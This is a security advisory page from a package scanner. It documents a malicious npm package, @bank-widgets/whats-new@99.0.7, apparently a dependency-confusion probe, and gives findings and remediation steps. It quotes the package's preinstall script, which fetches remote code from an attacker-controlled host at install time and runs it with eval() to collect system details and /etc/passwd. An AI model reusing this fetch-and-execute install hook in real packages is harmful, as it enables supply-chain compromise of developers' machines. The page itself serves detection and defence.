@bank-widgets/whats-new
bcs utilities
This report shows the evidence for @bank-widgets/whats-new@99.0.7, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-3335 confirms this npm version as malicious.
Advisory
MAL-2026-3335
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @bank-widgets/whats-new (npm)
Details
The package @bank-widgets/whats-new was found to contain malicious code.
## Source: ossf-package-analysis (1b3b286dae8135d4e755a4fc68e87c251813c5fe11217def3f0464b1b9244267) The OpenSSF Package Analysis project identified '@bank-widgets/whats-new' @ 99.0.7 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
References
Independent scan evidence
public snapshotBehavioral surface
EnvironmentVarsEvalFilesystemNetwork
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node preinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = node preinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpreinstall.jsView file
6L7: const raw = process.env.npm[redacted]
L8: || (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();
...
L13: // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
L14: http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
L15: let body = "";
L16: res.on("data", chunk => { body += chunk; });
L17: res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
L18: }).on("error", () => {}).on("timeout", function() { this.destroy(); });
Findings
2 High3 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighSame File Env Network Executionpreinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowEvalpreinstall.js
LowFilesystem
Affected versions and remediation
This report applies to @bank-widgets/whats-new@99.0.7.
The versions list below shows the verdict for each recorded version.
- Avoid installing @bank-widgets/whats-new@99.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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